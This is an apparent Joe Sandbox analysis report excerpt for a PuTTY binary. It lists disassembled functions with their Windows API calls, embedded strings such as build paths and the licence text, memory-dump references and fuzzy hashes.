Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend$LocalTimewcsftime
String ID: %Y-%m-%d %H:%M:%S
API String ID: 2023452587-819171244
Opcode ID: 1b2cfc4d059b90b867368085179728438f370badff4484846818805fcb837780
Instruction ID: 99867507031804a1321c19ce81aa0fa4bf696f4e2d699b7b43b057f1869e4aaa
Opcode Fuzzy Hash: 1b2cfc4d059b90b867368085179728438f370badff4484846818805fcb837780
Instruction Fuzzy Hash: 2E41A033A38A02A6F7509B34E85577A2B51FFA5750F644132DA4DC7B94CF2CF902AB08

Function 00007FF6785F9DF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageA.USER32 ref: 00007FF6785F9E97
SendDlgItemMessageA.USER32 ref: 00007FF6785F9EDA

Strings

c && c->ctrl->type == CTRL_LISTBOX, xrefs: 00007FF6785F9E3B
c->ctrl->listbox.height != 0, xrefs: 00007FF6785F9E63
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c, xrefs: 00007FF6785F9E42, 00007FF6785F9E6A

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/controls.c$c && c->ctrl->type == CTRL_LISTBOX$c->ctrl->listbox.height != 0
API String ID: 3015471070-1665001371
Opcode ID: b9bfb3989dc0ab2d47890ac25385cde08b85174cec19ee0b90f6dc49dabb0509
Instruction ID: 2398690ba68d274151f134a350863002b9a54a9b83f4d930887ced8c64ca236a
Opcode Fuzzy Hash: b9bfb3989dc0ab2d47890ac25385cde08b85174cec19ee0b90f6dc49dabb0509
Instruction Fuzzy Hash: 7631AB33A2491591FB608B2AD9087652B91FB94B98F654135CE1C87790DF3CDC55CB08

Function 00007FF67860F0F0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00007FF67860F1A3
inet_ntoa.WS2_32 ref: 00007FF67860F1AB

Strings

<unknown>, xrefs: 00007FF67860F163
addr->addresses && step.curraddr < addr->naddresses, xrefs: 00007FF67860F184
/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c, xrefs: 00007FF67860F18B

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: htonlinet_ntoa
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/network.c$<unknown>$addr->addresses && step.curraddr < addr->naddresses
API String ID: 298042256-529704717
Opcode ID: 438a5ba1e524eaa18862dbd65f4a01b488d93b2803a10fe3e36ee1f8c1a15f2d
Instruction ID: 3ae679579e11239782dc7084f70dc012acb252faaadacdae31e84a5aec12c9a3
Opcode Fuzzy Hash: 438a5ba1e524eaa18862dbd65f4a01b488d93b2803a10fe3e36ee1f8c1a15f2d
Instruction Fuzzy Hash: B321A563B38612A5FE10CB35D880A3A2B90AF58FC5F644135DD0D877D4DE3CE8029B08

Function 00007FF6785D1B30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 71windowCOMMON

Download Yara Rule

APIs

ShowCursor.USER32 ref: 00007FF6785D1B4F
MessageBoxA.USER32 ref: 00007FF6785D23C1
DestroyWindow.USER32 ref: 00007FF6785D23CF

Strings

Are you sure you want to close this session?%s%s, xrefs: 00007FF6785D2385
%s Exit Confirmation, xrefs: 00007FF6785D1B63

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CursorDestroyMessageShowWindow
String ID: %s Exit Confirmation$Are you sure you want to close this session?%s%s
API String ID: 1466741823-1096320758
Opcode ID: 5babf984b154317977c6c952352b068deff14ff01d67093842571732cb045673
Instruction ID: 5416ad00346c302ac95f594f3f0001afecb3c11bbb2fb8b5361a5160474e641e
Opcode Fuzzy Hash: 5babf984b154317977c6c952352b068deff14ff01d67093842571732cb045673
Instruction Fuzzy Hash: 5E218D63E2D54764FA819B31A9853B61F91AF94BD0F744831CC0EC7792EE2CED42A718

Function 00007FF6785D6DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32 ref: 00007FF6785D6DF9
UnmapViewOfFile.KERNEL32 ref: 00007FF6785D6E3F
CloseHandle.KERNEL32 ref: 00007FF6785D6E4A

Strings

%p:%u, xrefs: 00007FF6785D6DC5
Serialised configuration data was invalid, xrefs: 00007FF6785D6E71

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: FileView$CloseHandleUnmap
String ID: %p:%u$Serialised configuration data was invalid
API String ID: 2927507641-1340088990
Opcode ID: 9d57c90434684aaf2965970c8f0240be98aef44ae6faf4afbbb2f39bb53a8b90
Instruction ID: f974b0c3e3e61e1caa71a16ac3e198d9476a62837ecc8558cb592829e6bdd1f9
Opcode Fuzzy Hash: 9d57c90434684aaf2965970c8f0240be98aef44ae6faf4afbbb2f39bb53a8b90
Instruction Fuzzy Hash: 93215332A29A8592FA50DB24F55436B6BA0EF85B80F705135EA8D87B58DF3CDC42CB44

Function 00007FF6785D19E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6785E9B60: GetCaretBlinkTime.USER32 ref: 00007FF6785E9B84

CreateCaret.USER32 ref: 00007FF6785D1A0E
ShowCaret.USER32 ref: 00007FF6785D1A17
FlashWindow.USER32 ref: 00007FF6785D2FEF
DefWindowProcW.USER32 ref: 00007FF6785D3732

Strings

, xrefs: 00007FF6785D1A52

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Caret$Window$BlinkCreateFlashProcShowTime
String ID:
API String ID: 3048652251-3916222277
Opcode ID: 7d8abb54fdfaeffb200c07e0e3071c8cc211ee267e447a3fee1c274b4c34ed4b
Instruction ID: 58351803ce997700527f08b72c9e602e51cc6ac49527d35263955bab4f2abf2b
Opcode Fuzzy Hash: 7d8abb54fdfaeffb200c07e0e3071c8cc211ee267e447a3fee1c274b4c34ed4b
Instruction Fuzzy Hash: 20216933A2D68295F6118B31E8593B62B50BF98B94F200431CE4DC77A5CF3CF985AB48

Function 00007FF67860E210 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF67860E25D
DeleteFileA.KERNEL32 ref: 00007FF67860E272
GetLastError.KERNEL32 ref: 00007FF67860E27C
GetLastError.KERNEL32 ref: 00007FF67860E287

Strings

Unable to delete '%s': %s, xrefs: 00007FF67860E294

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ErrorFileLast$CreateDelete
String ID: Unable to delete '%s': %s
API String ID: 3657518308-26304762
Opcode ID: f88e35c732a831ebd537cab3597428dc8e72801e86ae3bdb86b7c1507d9bfd73
Instruction ID: 53ae4ce2c05c7597cd605f2df171e1f0acf28edc84b941c0d9098033822658f8
Opcode Fuzzy Hash: f88e35c732a831ebd537cab3597428dc8e72801e86ae3bdb86b7c1507d9bfd73
Instruction Fuzzy Hash: A011C226B2861352E7546B34A94572F2A929B907B0F344334CD6AC2BD4DF2C8E419708

Function 00007FF6785F49A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32 ref: 00007FF6785F49DA
SetDlgItemTextA.USER32 ref: 00007FF6785F49F7
EndDialog.USER32 ref: 00007FF6785F4A17

Strings

%s Licence, xrefs: 00007FF6785F49C5
PuTTY is copyright 1997-2024 Simon Tatham.Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watso, xrefs: 00007FF6785F49E8

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Text$DialogItemWindow
String ID: %s Licence$PuTTY is copyright 1997-2024 Simon Tatham.Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watso
API String ID: 4005798191-2223775202
Opcode ID: fd1f42abe3cd0209208851b7c1641d25dc7e0621b27556c9dd1169b445761683
Instruction ID: 79a01cbcc68966ffb0fc32297be56595919f5ff9fbf92b59ea370bb2830656a6
Opcode Fuzzy Hash: fd1f42abe3cd0209208851b7c1641d25dc7e0621b27556c9dd1169b445761683
Instruction Fuzzy Hash: C8F0D122F2C45661FA945336E9445BA1A829F94BA0FB04031C82DC77D4DE6CEDC29B0C

Function 00007FF678698304 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF678698329
GetProcAddress.KERNEL32 ref: 00007FF67869833F
FreeLibrary.KERNEL32 ref: 00007FF678698366

Strings

CorExitProcess, xrefs: 00007FF678698338
mscoree.dll, xrefs: 00007FF678698320

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: d6973e17bc496016cd4fb618cf7a3af109a9dec541e1302f7f85ba07df1fe5bb
Instruction ID: 900c8c374e2123a7044cddf8eb7edf3bc505b3a65561f7f035cc5be323a9e780
Opcode Fuzzy Hash: d6973e17bc496016cd4fb618cf7a3af109a9dec541e1302f7f85ba07df1fe5bb
Instruction Fuzzy Hash: 62F06263A2970291EA108B74E85973B6B20FF58B61F640239D56EC56E4CF3CDD45EB08

Function 00007FF678649960 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF678604D10), ref: 00007FF6786499B8
EnterCriticalSection.KERNEL32(?,?,?,00007FF678604D10), ref: 00007FF6786499CC
LeaveCriticalSection.KERNEL32(?,?,?,00007FF678604D10), ref: 00007FF6786499F4

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/handle-io.c, xrefs: 00007FF67864997C
h && !h->u.g.moribund, xrefs: 00007FF678649975

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeave
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/handle-io.c$h && !h->u.g.moribund
API String ID: 2394387412-2696147314
Opcode ID: 6c1ea2d5d334a5474e2d3f7726b1849e4878d2696f3646d827d77fd05d616895
Instruction ID: 94d477776a31dff4ea26b16f910ece9fcd9693c39f76b5c9f8d92f0cf11e94e9
Opcode Fuzzy Hash: 6c1ea2d5d334a5474e2d3f7726b1849e4878d2696f3646d827d77fd05d616895
Instruction Fuzzy Hash: EA217427A18641A2E735DB26F45427A7B60FB98754F140131CB8E826A1EF7CE9C5D308

Function 00007FF6786B8204 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6786B822C
_set_statfp.LIBCMT ref: 00007FF6786B8247
_set_statfp.LIBCMT ref: 00007FF6786B8263
_set_statfp.LIBCMT ref: 00007FF6786B829F

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c145aa9e71664b9ceaba139238ef165581b66b7f91f37de1a0b6c3f0234b5bc0
Instruction ID: 2d8c90c6ff01d228633bb32624951238d5734e62cf4a054132f4b57a9aab2668
Opcode Fuzzy Hash: c145aa9e71664b9ceaba139238ef165581b66b7f91f37de1a0b6c3f0234b5bc0
Instruction Fuzzy Hash: 5A115B23E78E12A5FAA415B4D4533771C406F54BE9F38063CFA6E872D68E3CAC416298

Function 00007FF6786A32D8 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF6786A48DF,?,?,00000000,00007FF6786A47F2,?,?,?,?,?,00007FF67868E97A), ref: 00007FF6786A32F7
FlsSetValue.KERNEL32(?,?,?,00007FF6786A48DF,?,?,00000000,00007FF6786A47F2,?,?,?,?,?,00007FF67868E97A), ref: 00007FF6786A3316
FlsSetValue.KERNEL32(?,?,?,00007FF6786A48DF,?,?,00000000,00007FF6786A47F2,?,?,?,?,?,00007FF67868E97A), ref: 00007FF6786A333E
FlsSetValue.KERNEL32(?,?,?,00007FF6786A48DF,?,?,00000000,00007FF6786A47F2,?,?,?,?,?,00007FF67868E97A), ref: 00007FF6786A334F
FlsSetValue.KERNEL32(?,?,?,00007FF6786A48DF,?,?,00000000,00007FF6786A47F2,?,?,?,?,?,00007FF67868E97A), ref: 00007FF6786A3360

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 246454f8cf3c1529ba939f3a27c3d7627f188343c35324c738e0a280999cbe11
Instruction ID: c246b0f9f8744162d0827f84ba6fab78480cbcc25fb38faa1106ece8c828abdc
Opcode Fuzzy Hash: 246454f8cf3c1529ba939f3a27c3d7627f188343c35324c738e0a280999cbe11
Instruction Fuzzy Hash: 81117226E2C26261FA5893316A4217F19429F457F0F744339E93ED67D6DE2CEC01660A

Function 00007FF6786A316C Relevance: 7.6, APIs: 5, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A317D
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A319C
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A31C4
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A31D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FF678692CFB,?,?,?,00007FF67869C131), ref: 00007FF6786A31E6

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5f2370b3af674a94681810d456460f325ffb9ccdd21f5c8679402cd0e081159c
Instruction ID: bdfc2b136364cb8d2a14139e3a1e11c133f3ccfd02ec3a6a6f99145c1e3fc442
Opcode Fuzzy Hash: 5f2370b3af674a94681810d456460f325ffb9ccdd21f5c8679402cd0e081159c
Instruction Fuzzy Hash: 9F113016A3821731F968A7755A530BB2D834F46370E740735D93ED56C2DD2CBC42760E

Function 00007FF67867AFA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FF67867B043

Strings

crypt32.dll, xrefs: 00007FF67867B021
%02x, xrefs: 00007FF67867B0C8
CryptProtectMemory, xrefs: 00007FF67867B039

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: AddressProc
String ID: %02x$CryptProtectMemory$crypt32.dll
API String ID: 190572456-4241872374
Opcode ID: 42bc7b198fba847b464cd3bf556528d318cb691e611eb5638657b73d3df5824d
Instruction ID: cf78390f0caf6f56ff7a71e424c652bc86bb1ca4995a63082807d7d0fc8ce7a7
Opcode Fuzzy Hash: 42bc7b198fba847b464cd3bf556528d318cb691e611eb5638657b73d3df5824d
Instruction Fuzzy Hash: CD41E313F2CA4261FE109B36A8503BB6B91AF95BC4F644035CD4DD7796EE2CEC46A708

Function 00007FF678605140 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

ClearCommBreak.KERNEL32 ref: 00007FF6786051CE
CloseHandle.KERNEL32 ref: 00007FF6786051D7

Strings

Error reading from serial device, xrefs: 00007FF678605181
End of file reading from serial device, xrefs: 00007FF678605188

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
